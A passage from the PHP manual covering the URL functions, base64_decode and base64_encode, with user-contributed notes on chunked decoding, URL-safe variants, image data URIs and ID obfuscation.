In such case, browsers should transmit the URL of the container document, but some still persist in using the previous document in the browser history, and this could cause a different $HTTP_REFERER value be sent when the user comes back to the document referencing your script. If you wanna be sure that the actual current document or previous document in the history is sent, use client-side JavaScript to send it to your script:

<SCRIPT language="JavaScript"><!--
document.writeln('<FRAME src="your-page-script.php?js=1&amp;ref=' +
document.location + '">');
--></SCRIPT><NOSCRIPT>
<FRAME src="your-page-script.php?js=0">
</NOSCRIPT>

And then check the value of $js in your page script to generate appropriate content when the remote user agent does not support client-side scripts (such as most index/scan robots, some old or special simplified browsers, or browsers with JavaScript disabled by their users).
verdy_p at wanadoo dot fr 26-May-2001 09:55
Warning: when the PHP engine runs for your hosted web site, it may execute on a domain name which is completely different than the one the user requested in its browser. Many free web hosting site use proxies and/or multiple DNS entries for your hosted web site. This means that:
- the IP of the web server can change if multiple DNS entries are present (there may be several web servers running concurrently)
- reverse DNS name from the IP may give different domain name over time, or if the domain name is a CNAME only for a virtual web server hosting many domains
- the server running PHP may be different than the web server
- the web server may be hidden behind a proxy which balances the load between a farm of servers
- the queried host name in the HTTP headers may be different than the queried host name in the browser, if behind a redirecting proxy
- the actual path name of the ressource may be also different, with additional path elements: this is very common on free hosting servers, where you get a virtual CNAME domain, which gets translated by a proxy into an actual web server, and a domain-specific document root directory

So when thinking about using absolute path names you can retreive from PHP, beware that this may not be accurate to insert as absolute URL's in the HTML code built with PHP.

The best solution is then to ALWAYS USE relative URLs to reference documents and form scripts on your local server !

This applies to $PHP_SELF too, because it's an absolute pathname: don't use it directly but you can safely use basename($PHP_SELF) to reference your script within HTML forms:

<?
$self=basename($PHP_SELF);
?>
<HTML><HEAD>
...
</HEAD><BODY>
<FORM method="GET" action="$self">
...
</FORM>
</BODY></HTML>
tumor at kkt dot bme dot hu 01-Apr-2000 10:18
To check if a URL is valid, try to fopen() it. If fopen() results an error (returns false), then PHP cannot open the URL you asked. This is usually because it is not valid...
Predefined Constants
base64_decode
URLs


Decodes data encoded with MIME base64

URL Functions
base64_encode
URL Functions
PHP Manual

base64_decode

(PHP 4, PHP 5)

base64_decode — Decodes data encoded with MIME base64

Description

string base64_decode ( string $data [, bool $strict = false ] )

Decodes a base64 encoded data.

Parameters

data

The encoded data.

strict

Returns FALSE if input contains character from outside the base64 alphabet.

Return Values

Returns the original data or FALSE on failure. The returned data may be binary.

Changelog

Version | Description
5.2.0 | strict added

Examples

Example #1 base64_decode() example

<?php
$str = 'VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==';
echo base64_decode($str);
?>

The above example will output:

This is an encoded string

See Also

  • base64_encode() - Encodes data with MIME base64
  • » RFC 2045 section 6.8

User Contributed Notes

nicolem2005 at gmail dot com 23-Aug-2011 05:17
base64_decode seems to fail when decoding big files/strings. I had an issue decoding a 7MB image file. Here is a solution that worked for me:

$decodedstring=base64_decode(chunk_split($encodedstring));
mekal 31-May-2011 05:57
If you want to save data that is derived from a Javascript canvas.toDataURL() function, you have to convert blanks into plusses. If you do not do that, the decoded data is corrupted:

<?php
  $encodedData = str_replace(' ','+',$encodedData);
  $decocedData = base64_decode($encodedData);
?>

merci..........
winkelnkemper at googlemail dot com 27-Jan-2011 04:25
If you want to save data that is derived from a Javascript canvas.toDataURL() function, you have to convert blanks into plusses. If you do not do that, the decoded data is corrupted:

<?php
  $encodedData = str_replace(' ','+',$encodedData);
  $decocedData = base64_decode($encodedData);
?>
martinstaemmler at gmx dot net 17-Aug-2009 09:05
I had some trouble trying to let base64_decode decode base64-strings longer than ~5k chars.

The base64-decoding function is a homomorphism between modulo 4 and modulo 3-length segmented strings. That motivates a divide and conquer approach: Split the encoded string into substrings counting modulo 4 chars, then decode each substring and concatenate all of them.

Then instead of

<?php $decoded = base64_decode($encoded); ?>

for big $encoded strings, it's saver to use

<?php
$decoded = "";
for ($i=0; $i < ceil(strlen($encoded)/256); $i++)
   $decoded = $decoded . base64_decode(substr($encoded,$i*256,256));
?>

where 256 can be replaced by a sufficiently small modulo 4 natural.
dimagolov at yahoo dot com 10-Jul-2009 11:44
Here is function to decode Base 62 (see http://en.wikipedia.org/wiki/Base_62) string to number. It is used by MTA in message id, e.g. by Exim
<?php
function base62_decode($str) {
    $ret= 0;
    for ($i= 0, $l= strlen($str); $i < $l; $i++) {
        $val= ord($str[$i]);
        if (ctype_digit($str[$i]))
            $val-= ord('0');
        else if (ctype_upper($str[$i]))
            $val-= ord('A') - 10;
        else if (ctype_lower($str[$i]))
            $val-= ord('a') - 36;
        else
            $val= 0;
        $ret= $ret * 62 + $val;
    }
    return $ret;
}
?>
mcalwell 09-Apr-2009 09:20
I had a problem testing whether an imap message body was base64 encoded on a pre 5.2.* server.  I had been using this function on a post 5.2 server.

I found that the function imap_base64() returns FALSE on failing to decode a string, and that I could use that to check instead.

<?php
if(imap_base64($body)) $body = imap_base64($body);
?>
alvaro at demogracia dot com 05-Dec-2008 01:11
You can do partial decoding (e.g. from buffered input streams) if you choose a chunk length that is multiple of 4:

<?php

$encoded = base64_encode('The quick brown fox jumps over the lazy dog');
for($i=0, $len=strlen($encoded); $i<$len; $i+=4){
    echo base64_decode( substr($encoded, $i, 4) );
}

?>

4 encoded chars represent 3 original chars. The "=" character is used as padding.
twm at twmacinta dot com 09-Jul-2008 08:38
To follow up on Starson's post, PHP was changed to no longer treat a space as if it were a plus sign in CVS revision 1.43.2.1, which corresponds to PHP 5.1.0.  You can see what happened with a diff to branch point 1.43 at:

http://cvs.php.net/viewvc.cgi/php-src/ext/standard/base64.c

The CVS log indicates that this change was made to fix bug #34214 (base64_decode() does not properly ignore whitespace).

It would seem from the comment preceding the code which was removed that the treatment of the space as if it were the plus sign was actually intentional at one time:

    When Base64 gets POSTed, all pluses are interpreted as spaces.
    This line changes them back.  It's not exactly the Base64 spec,
    but it is completely compatible with it (the spec says that spaces
    are invalid).  This will also save many people considerable
    headache.

    if (ch == ' ') ch = '+';

However, RFC 3548 states that characters not in the Base64 alphabet should either be ignored or cause the implementation to reject the encoding and RFC 2045 says they should be ignored.  So the original code was unfortunately not fully compatible with the spec or other implementations.  It may have also masked problems with code not properly escaping POST variables.
debug 27-Feb-2008 12:39
@morgangalpin att gmail dotty com

A better implementation would be the following regular expression:

^[a-zA-Z0-9/+]*={0,2}$

Which will also detect the usage of = or == at the end of the string (and only end).

If this regex isn't following proper RFC guidelines, please comment on it.

A function geared specifically toward this:

<?php

function is_base64_encoded()
    {
        if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) {
            return TRUE;
        } else {
            return FALSE;
        }
    };

is_base64_encoded("iash21iawhdj98UH3"); // true
is_base64_encoded("#iu3498r"); // false
is_base64_encoded("asiudfh9w=8uihf"); // false
is_base64_encoded("a398UIhnj43f/1!+sadfh3w84hduihhjw=="); // true

?>
zmorris at zsculpt dot com 10-Nov-2007 02:22
Here is a drop-in replacement for base64_decode(), based on a faster version of morgangalpin's code:

<?php
// workaround for bug in php 4.3.11 through 4.4.7, 5.1.2 through 5.2.4 and perhaps others (http://bugs.php.net/bug.php?id=37244)
function    base64_decode_fix( $data, $strict = false )
{
    if( $strict )
        if( preg_match( '![^a-zA-Z0-9/+=]!', $data ) )
            return( false );

    return( base64_decode( $data ) );
}
?>
morgangalpin att gmail dotty com 13-Aug-2007 05:25
I was having trouble with base64_decode returning false if the data to be decoded wasn't actually encoded. It turns out that it is a bug that exists in PHP version 5.1.2, which I'm using, but it has been fixed in CVS. The relevant bug is: http://bugs.php.net/bug.php?id=37244 "base64_decode violates RFC 3548". The fix may become available in 5.2.4 or 6 or whatever is coming next.

Since I'm not able to upgrade PHP to the latest version, I needed a way to check if some data had actually been encoded before trying to decode it. Here is the function I've used; I hope it helps someone.

<?php
  /**
   * Check a string of base64 encoded data to make sure it has actually
   * been encoded.
   *
   * @param $encodedString string Base64 encoded string to validate.
   * @return Boolean Returns true when the given string only contains
   * base64 characters; returns false if there is even one non-base64 character.
   */
  function checkBase64Encoded($encodedString) {
    $length = strlen($encodedString);

    // Check every character.
    for ($i = 0; $i < $length; ++$i) {
      $c = $encodedString[$i];
      if (
        ($c < '0' || $c > '9')
        && ($c < 'a' || $c > 'z')
        && ($c < 'A' || $c > 'Z')
        && ($c != '+')
        && ($c != '/')
        && ($c != '=')
      ) {
        // Bad character found.
        return false;
      }
    }
    // Only good characters found.
    return true;
  }
?>
Tom 06-Dec-2006 10:23
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_decode($base64url)
    {
        $base64 = strtr($base64url, '-_', '+/');
        $plainText = base64_decode($base64);
        return ($plainText);
    }
    ?>
Starson 19-Sep-2006 06:23
To expand on Jes' post:

The change took place between 5.0.5 and 5.1.0.  Exactly where I don't know or care.

In short php <= 5.0.5's base64_decode( $string ) will assume that a space is meant to be a + sign where php >= 5.1.0's base64_decode( $string ) will no longer make that assumption.  I did not see this noted in the change log.

Please note that, as of this writing, mb_convert_encoding( $string, "UTF-8", "BASE64" ) still behaves as base64_decode( $string ) did in php <= 5.0.5 regardless of the version of php you are running.
Jes 30-Aug-2006 08:31
I've come across an interesting issue with an external program that submits a gzcompressed base64_encoded string to PHP via POST. The external program encodes the string using the occasional " " (space) character, however if I encode the same original string within PHP (using base64_encode), it uses a "+" (plus) character wherever the external program would use a space. On my deployed machine, running PHP 4.3.9, base64_decode is fine with the " " (space) characters, but my test server running 5.1.4 is not. It took me a while to figure out that was the issue, but I ended up fixing it with a simple:

<?php

$post_data = str_replace(" ","+",$_POST['string'])

?>

This fix works on both the 4.3.9 and 5.1.4 machines. I am sure that the external program is probably not conforming to the standard, and it isn't a PHP problem per-se; but incase anybody else ever runs into that.
paul at ijsfontein dot nl 10-Jun-2004 06:04
The user notes posted here helped me a lot in writing the PHP code to upload uuencoded files to a server using $_POST. Hardest thing to figure out was why the files came out scrambled and corrupted. After comparing the original file with the file reconstructed by the uudecode script, I found out that a simple "stripcslashes" on the posted data will do the trick.

So, to upload any kind of uuencoded file using a POST:
1. send the raw file data to the PHP script
2. $uuencoded_data = stripcslashes($_POST['filedata']);
3. strip the marker lines from $uuencoded_data (first line, last line and second last line of the data. Each line is seperated by a LF (chr(10)) character.)
4. $decoded_data = uudecode($stripped_uuencoded_data); (this function can be found in the user notes here).
5. Use the script provided in one of the user notes on this page to write the decoded data to a binary file.

That should do the trick!
tobias at silverxnet dot de 23-Dec-2003 12:16
I was wondering how to decode attached images within mails. Basically they are mostly JPEG files, so it was obviously to write a function that decodes JPEG images.
I guess the plainest way to do so was the following:

<?php
function base64_to_jpeg( $inputfile, $outputfile ) {
  /* read data (binary) */
  $ifp = fopen( $inputfile, "rb" );
  $imageData = fread( $ifp, filesize( $inputfile ) );
  fclose( $ifp );
  /* encode & write data (binary) */
  $ifp = fopen( $outputfile, "wb" );
  fwrite( $ifp, base64_decode( $imageData ) );
  fclose( $ifp );
  /* return output filename */
  return( $outputfile );
}
?>

This function decodes the given inputfile (a filename!) and saves it to the given outputfile (a filename as well) and then returns the output filename for further usage (e.g. redirect, imagejpeg() and so on).
I thought that might be helpful.
Klaus Fehrenbacher 17-Apr-2003 04:05
this script can correct the bug

<?php
$enc = chunk_split(preg_replace('!\015\012|\015|\012!','',$enc));
$enc = base64_decode($enc);
?>
nsayer at kfu dot com 21-Mar-2002 01:15
I used to do uudecode as a C module, but I've discovered a really fast way to do it in PHP. Here it is:

<?php
function uudecode($encode) {
  $b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ\
abcdefghijklmnopqrstuvwxyz0123456789+/";

  $encode = preg_replace("/^./m","",$encode);
  $encode = preg_replace("/\n/m","",$encode);
  for($i=0; $i<strlen($encode); $i++) {
    if ($encode[$i] == '`')
      $encode[$i] = ' ';
    $encode[$i] = $b64chars[ord($encode[$i])-32];
  }

  while(strlen($encode) % 4)
    $encode .= "=";

  return base64_decode($encode);
}
?>

This is the PHP equivalent to perl's unpack("u",___). That is, you need to strip the 'begin' and 'end' lines from the typical uuencoded file.
URL Functions
base64_encode
URL Functions


Encodes data with MIME base64

base64_decode
get_headers
URL Functions
PHP Manual

base64_encode

(PHP 4, PHP 5)

base64_encode — Encodes data with MIME base64

Description

string base64_encode ( string $data )

Encodes the given data with base64.

This encoding is designed to make binary data survive transport through transport layers that are not 8-bit clean, such as mail bodies.

Base64-encoded data takes about 33% more space than the original data.

Parameters

data

The data to encode.

Return Values

The encoded data, as a string or FALSE on failure.

Examples

Example #1 base64_encode() example

<?php
$str = 'This is an encoded string';
echo base64_encode($str);
?>

The above example will output:

VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==

See Also

  • base64_decode() - Decodes data encoded with MIME base64
  • chunk_split() - Split a string into smaller chunks
  • convert_uuencode() - Uuencode a string
  • » RFC 2045 section 6.8

User Contributed Notes

luke at lukeoliff.com 02-Aug-2011 09:27
A function I'm using to return local images as base64 encrypted code, i.e. embedding the image source into the html request.

This will greatly reduce your page load time as the browser will only need to send one server request for the entire page, rather than multiple requests for the HTML and the images. Requests need to be uploaded and 99% of the world are limited on their upload speed to the server.

<?php
function base64_encode_image ($filename=string,$filetype=string) {
    if ($filename) {
        $imgbinary = fread(fopen($filename, "r"), filesize($filename));
        return 'data:image/' . $filetype . ';base64,' . base64_encode($imgbinary);
    }
}
?>

used as so

<style type="text/css">
.logo {
    background: url("<?php echo base64_encode_image ('img/logo.png','png'); ?>") no-repeat right 5px;
}
</style>

or

<img src="<?php echo base64_encode_image ('img/logo.png','png'); ?>"/>
markrose at markrose dot ca 07-Jul-2011 03:15
An even faster way to line-breaks every 64th character is using the chunk_split function:

<?php
$string = chunk_split(base64_encode($string), 64, "\n");
?>
gutzmer at usa dot net 06-May-2011 09:12
For anyone interested in the 'base64url' variant encoding, you can use this pair of functions:

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
?>
Nimja.com 22-Apr-2011 01:25
A much easier way to add linebreaks every 64'th character would be with regular expressions.

<?php
$string = base64_encode($string);
$string = preg_replace('/(.{64})/', '$1\n', $string);
?>

And I'm assuming this would be faster too. Hope people have use for this ;)
andronick(dot)mail(dog)gmail(dot)com 09-Sep-2010 06:28
output images into html:

<?php

$imgfile = "test.gif";

$handle = fopen($filename, "r");

$imgbinary = fread(fopen($imgfile, "r"), filesize($imgfile));

echo '<img src="data:image/gif;base64,' . base64_encode($imgbinary) . '" />';

?>

gif - data:image/gif;base64,...
jpg - data:image/jpeg;base64,...
png - data:image/png;base64,...
etc.
gustavo at duranlinar dot es 12-Jan-2010 09:22
Some files can give a real headhache when script file is coded in UTF-8. Change it to ANSI and it'll work fine.
jonb at wobblymusic dot com 06-Sep-2009 12:21
Note that some applications, such as OpenSSL's enc command, require that there be a line break every 64 characters in order for their base64 decode function to work. The following function will take care of this problem:

<?php
function ($encodeMe) {
    $data = base64_encode($encodeMe);
    $datalb = "";
    while (strlen($data) > 64) {
        $datalb .= substr($data, 0, 64) . "\n";
        $data = substr($data,64);
    }
    $datalb .= $data;
    return $datalb;
}
?>
MitMacher 07-Aug-2009 02:57
Unfortunately my "function" for encoding base64 on-the-fly from 2007 [which has been removed from the manual in favor of this post] had 2 errors!
The first led to an endless loop because of a missing "$feof"-check, the second caused the rare mentioned errors when encoding failed for some reason in larger files, especially when
setting fgets($fh, 2) for example. But lower values then 1024 are bad overall because they slow down the whole process, so 4096 will be fine for all purposes, I guess.
The error was caused by the use of "empty()".

Here comes the corrected version which I have tested for all kind of files and length (up to 4,5 Gb!) without any error:

<?php
$fh = fopen('Input-File', 'rb');
//$fh2 = fopen('Output-File', 'wb');

$cache = '';
$eof = false;

while (1) {

    if (!$eof) {
        if (!feof($fh)) {
            $row = fgets($fh, 4096);
        } else {
            $row = '';
            $eof = true;
        }
    }

    if ($cache !== '')
        $row = $cache.$row;
    elseif ($eof)
        break;

    $b64 = base64_encode($row);
    $put = '';

    if (strlen($b64) < 76) {
        if ($eof) {
            $put = $b64."\n";
            $cache = '';
        } else {
            $cache = $row;
        }

    } elseif (strlen($b64) > 76) {
        do {
            $put .= substr($b64, 0, 76)."\n";
            $b64 = substr($b64, 76);
        } while (strlen($b64) > 76);

        $cache = base64_decode($b64);

    } else {
        if (!$eof && $b64{75} == '=') {
            $cache = $row;
        } else {
            $put = $b64."\n";
            $cache = '';
        }
    }

    if ($put !== '') {
        echo $put;
        //fputs($fh2, $put);
        //fputs($fh2, base64_decode($put));        // for comparing
    }
}

//fclose($fh2);
fclose($fh);
?>
pablo at compuar dot com 30-Dec-2008 03:46
If you want to send a very long value over URL, you might consider using base64_encode, and discover that IE6 only supports 2000 or so chars.

So, Using a little bit of magic you can do this and be happy:

<?php
$string = 'Blah';

$encoded = strtr(base64_encode(addslashes(gzcompress(serialize($string),9))), '+/=', '-_,');

 $string= unserialize(gzuncompress(stripslashes(base64_decode(strtr($encoded, '-_,', '+/=')))));

?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 08:21
I omitted the strtr functions in my examples.  Here are corrected functions:

<?php
function encode($x) {
    return strtr(base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x), '+/=', '-_~');
}

function decode($x) {
    $y = base64_decode(strtr($x, '-_~', '+/='));
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
gglockner AT NOSPAMdwaffler DOT com 19-Sep-2008 06:35
I have another solution that is simple and elegant.  Create a pseudorandom string of characters.  Then, each time you want to obfuscate your key, append a random substring from the pseudorandom string and use base64 encoding.  When you want to de-obfuscate, convert back from base64.  If the prefix is not in your pseudorandom source, then the value is forged.  Otherwise, strip the prefix and recover your original key.

The advantages are that the string will look different even for the same key, and encoding and decoding should be extremely fast.

Here's an example:

<?php

// Call makeCksum once upon landing on the homepage
function makeCksum() {
       $str = "";
       for ($i=0;$i<32;++$i)
               $str .= chr(rand(32,126));
       $_SESSION['Cksum'] = $str;
}

function encode($x) {
    return base64_encode(substr($_SESSION['Cksum'],rand(0,28),4) . $x);
}

function decode($x) {
    $y = base64_decode($x);
    if (strpos($_SESSION['Cksum'],substr($y,0,4)) === false) return false;
    return substr($y,4-strlen($y));
}
?>
marcus dot kabele at kabele dot at 02-May-2008 08:22
At Andi:
The last 6 chars of the decoded is used as some checksum + cryptographical salt - this prevents only in/decrementation of a primary key (ID) in an URL.
But there is no obfuscation of the ID, it is visible almost immediately: the number before "-". Hackers are thus guided to this internal ID of the database record and can use this knowledge...

Obfuscate better, making details a little less obvious, but not more secure:
* avoid the "-" (the "checksum/salt" is always the same lenght...),
* obfuscate the integer by converting ist to hex, like the hash.

<?php
// unchanged, thanx Tom, Andy, fsx.nr01
function base64_url_encode($input) {
    return strtr(base64_encode($input), '+/=', '-_,');
    }

function base64_url_decode($input) {
    return base64_decode(strtr($input, '-_,', '+/='));
    }

// some variables are used for clarity, they can be avoided and lines can be shortened:

function encryptId($int, $TableSalt='') {
    global $GlobalSalt;    // global secret for salt.

    $HashedChecksum = substr(sha1($TableSalt.$int.$GlobalSalt), 0, 6);
    // The length of the "HashedChecksum" is another little secret,
    // but when the integers are small, it reveals...

    $hex = dechex($int);
    // The integer is better obfuscated by being HEX like the hash.

    return base64url_encode($HashedChecksum.$hex);
    // reordered, alternatively use substr() with negative lengths...
    }

function decryptId($string, $TableSalt='') {
    // checks if the second part of the base64 encoded string is correct.
    global $GlobalSalt;    // global secret for salt.
    $parts = base64url_decode($string);
    $hex = substr($parts, 6);
    $int = hexdec($hex);
    $part1 = substr($parts, 0, 6);    // The "checksum/salt" is always the same length

    return substr(sha1($TableSalt.$int.$GlobalSalt), 0, 6) === $part1
        ? $int
        : false;    // distinguish "0" and "false"
    }
?>

There are some questions remaining:
* Why should we use sha1() for such an low-security task, it needs a lot of calculation.
* Would other algorithms be faster?
If your goal is, to confuse ordinary users, crc32() is much faster than sha1(). (But it can reveal the "salt" which then is much more a filler than a secret.)
If you want to secure against hackers, you should use strong encryption methods instead of obfuscation.

Different approach: these calculations for every URL can be avoided:
Take the database-ID, salt it (with a 'secret'), calculate a hash (like sha1), store it to a (unique - if you don't trust the truncated hash-algorithm any more) column in the database in addition to the primary key, index that field, and use that strange string for the URL and for the query. These calculations are done once and never again, but it costs you more memory for the database.
As secure as the other solution, but much faster (at least for php).
fsx.nr01 [at] gmail [dot] com 14-Apr-2008 02:56
Shortened the base64url_encode and decode functions from Andi (http://nl2.php.net/manual/en/function.base64-encode.php#82200)

function base64_url_encode($input)
{
    return strtr(base64_encode($input), '+/=', '-_,');
}

function base64_url_decode($input)
{
    return base64_decode(strtr($input, '-_,', '+/='));
}
Andi 31-Mar-2008 01:54
I needed a simple way to obfuscate auto_increment primary keys in databases when they are visible to users in URIs or API calls. The users should not be able to increment the id in the URL and see the next data record in the database table.

My solution (uses modified base64 functions by Tom):

function base64url_encode($plainText) {

    $base64 = base64_encode($plainText);
    $base64url = strtr($base64, '+/=', '-_,');
    return $base64url;
}

function base64url_decode($plainText) {

    $base64url = strtr($plainText, '-_,', '+/=');
    $base64 = base64_decode($base64url);
    return $base64;
}

function encryptId($int, $class='') {

    return base64url_encode($int.'-'.substr(sha1($class.$int.encryptionKey), 0, 6));
}

function decryptId($string, $class='') {

    $parts = explode('-', base64url_decode($string));
    if (count($parts) != 2) {

        return 0;
    }

    $int = $parts[0];
    return substr(sha1($class.$int.encryptionKey), 0, 6) === $parts[1]
        ? (int)$int
        : 0;
}

- The optional 2nd argument is the class name, so two equal ids of different tables will not result in two equal obfuscated ids.

- encryptionKey is a global secret key for encryption.

- decryptId() checks if the second part of the base64 encoded string is correct.
Anonymous 25-Feb-2008 05:11
a note on URI -safe base64.
Simply replacing + = and / with _ - and . doesn't work as the base64_encode function will insert \r \n chars as well which are not URI-safe. So unless we have a base64encode function that does not insert any newline and padddings, the output can never be URI -safe.

referring to the note posted by " web at pkasperski dot com"

- you might as well use $encoded = strtr ( base64_encode ($data), 'ABCDEFG.....', 'aBcDEfG....' ).

this is more efficient. Also, Is simply changing the casing of the letters  more secure? Why don't you try swapping letters around instead

- for your utf8_encode function, the "ord" function returns  a number in the range 0-255. Remember that strings in PHP are actually a sequence of bytes rather than chars. So your utf8 encode func may not work properly. and the line "for ($n = 0; $n < strlen($input); $n++) {" is inefficient, you should assign  a variable $count to  strlen($input) and use it.

referring to
"dlyaza aT yahoo DOT com"

whats the usefulness of encoding your images in a php file??

referring to  "php at ianco dot co dot uk"

- what version of php are you using? Your code works fine for me. I see all the output.
web at pkasperski dot com 26-Oct-2007 07:08
I have implemented the base64_encode() function with some custom  mapping table so I could encode some binary data more securely without anyone knowing how to decode it

here is the class

<?php

class Base64 {

    /**
     * I have changed letter placement (P <=> x, S <=> 9) and the cases
     * You can completely redo the mapping table
     */

    private static $BinaryMap = array(
        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', //  7
        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'x', // 15
        'q', 'r', '9', 't', 'u', 'v', 'w', 'x', // 23
        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', // 31
        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', // 39
        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', // 47
        'W', 'P', 'Y', 'Z', '0', '1', '2', '3', // 55
        '4', '5', '6', '7', '8', 'S', '+', '/', // 63
        '=',  // padding char
    );

    public function __construct() {}

    public function base64_encode($input) {

        $output = "";
        $chr1 = $chr2 = $chr3 = $enc1 = $enc2 = $enc3 = $enc4 = null;
        $i = 0;

//        $input = self::utf8_encode($input);

        while($i < strlen($input)) {
            $chr1 = ord($input[$i++]);
            $chr2 = ord($input[$i++]);
            $chr3 = ord($input[$i++]);

            $enc1 = $chr1 >> 2;
            $enc2 = (($chr1 & 3) << 4) | ($chr2 >> 4);
            $enc3 = (($chr2 & 15) << 2) | ($chr3 >> 6);
            $enc4 = $chr3 & 63;

            if (is_nan($chr2)) {
                $enc3 = $enc4 = 64;
            } else if (is_nan($chr3)) {
                $enc4 = 64;
            }

            $output .=  self::$BinaryMap[$enc1]
                      . self::$BinaryMap[$enc2]
                      . self::$BinaryMap[$enc3]
                      . self::$BinaryMap[$enc4];
        }

        return $output;
    }

    public function utf8_encode($input) {
        $utftext = null;

        for ($n = 0; $n < strlen($input); $n++) {

            $c = ord($input[$n]);

            if ($c < 128) {
                $utftext .= chr($c);
            } else if (($c > 128) && ($c < 2048)) {
                $utftext .= chr(($c >> 6) | 192);
                $utftext .= chr(($c & 63) | 128);
            } else {
                $utftext .= chr(($c >> 12) | 224);
                $utftext .= chr((($c & 6) & 63) | 128);
                $utftext .= chr(($c & 63) | 128);
            }
        }

        return $utftext;
    }
}

?>

and the usage as follows:

<?php
$string = pack('H*', "31c85c5aaa56c1f0102301ea497d0ab010e4e131af261787"); // HEX to binary
echo Base64::base64_encode($string);
echo "<br />";
echo base64_encode($string);
?>

and the output will be:

mCHCwQPwWFaqiWhQ9x0kSbdK4tgVjHEh   //  with custom mapping
MchcWqpWwfAQIwHqSX0KsBDk4TGvJheH   //  the base64_encode()
Tom 06-Dec-2006 10:20
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_encode($plainText)
    {
        $base64 = base64_encode($plainText);
        $base64url = strtr($base64, '+/', '-_');
        return ($base64url);
    }
    ?>

You may wish to rtrim (or escape) trailing ='s for use in a URI.
eric [at] d512 [dot] com 03-Dec-2006 07:42
Note that at least some Windows systems will not print a line of characters longer than a certain length unless it has line breaks of some kind.  So if you base-64 encode a file, print it back for debugging purposes, and see nothing, don't be alarmed.
dlyaza aT yahoo DOT com 22-Oct-2006 05:57
Using Function:
Output for HTML Put:
<img src="$self?image=file" border="0" alt="file">
<img src="$self?image=folder" border="0" alt="folder">

function getimage ($image) {
    switch ($image) {
    case 'file':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'folder':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAA
ARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5v
Gc+0a7dhjh7ZbygAADsA');
    case 'hidden_file':
        return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'link':
        return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAA
CH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUll
NOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
    case 'smiley':
        return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAA
AARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3
dKZuIygrMRE/oJDwUAOwA=');
    case 'arrow':
        return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AA
AIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
    }
}
php at ianco dot co dot uk 22-Sep-2006 08:25
I am finding a length restriction with base64_encode (or possibly with echo) in PHP 4.3.9.
This works ok for me:
<?php
echo strlen(str_repeat('-', 3273)); // 3273
echo strlen(base64_encode(str_repeat('-', 3273))); // 4364
echo base64_encode(str_repeat('-', 3273)); // LS0t repeated
?>
But change the length to 3274 and the third echo prints nothing.
<?php
echo strlen(str_repeat('-', 3274)); // 3274
echo strlen(base64_encode(str_repeat('-', 3274))); // 4368
echo base64_encode(str_repeat('-', 3274)); // Nothing at all printed
?>
This has obvious implications if you're wanting to encode a fairly large serialized array and echo it to a form field.
peter at mailinator dot com 23-Jul-2006 02:06
If you want to decode base64 encoded data in Javascript, you can use the tool (Webtoolkit.base64) on this website: http://www.webtoolkit.info/
greenthumb at 4point-webdesign dot de 26-Apr-2006 02:57
I had massive problems storing a serialized Object which contained UTF-8 parts and some ascii parts (from the serialization i think) into mysql.

So i used base64_encode to get a clean string which could be safely decoded and unserialized.

this is bulletproof - if you ever have trouble use this.
the runtime is imho no problem.
dawgeatschikin at hotmail dot com 27-Mar-2006 08:06
Just a minor tweak of massimo's functions.

<?
$data = str_replace(array('+','/','='),array('-','_','.'),$data);
//replace '=' with '.' instead of with nothing, that way the process is reversible.  '.' is uri-safe according to http://www.w3.org/Addressing/URL/5_URI_BNF.html
?>
massimo dot scamarcia at gmail dot com 23-Mar-2006 07:23
$data = str_replace(array('+','/','='),array('-','_',),$data); // MIME::Base64::URLSafe implementation

$data = str_replace(array('+','/'),array('-','_'),$data); // Python raise "TypeError: Incorrect padding" if you remove "=" chars when decoding
massimo dot scamarcia at gmail dot com 23-Mar-2006 03:02
function urlsafe_b64encode($string) {
    $data = base64_encode($string);
    $data = str_replace(array('+','/','='),array('-','_',''),$data);
    return $data;
}

function urlsafe_b64decode($string) {
    $data = str_replace(array('-','_'),array('+','/'),$string);
    $mod4 = strlen($data) % 4;
    if ($mod4) {
        $data .= substr('====', $mod4);
    }
    return base64_decode($data);
}

Php version of perl's MIME::Base64::URLSafe, that provides an url-safe base64 string encoding/decoding (compatible with python base64's urlsafe methods)
Gabriel Malca 17-Mar-2006 01:45
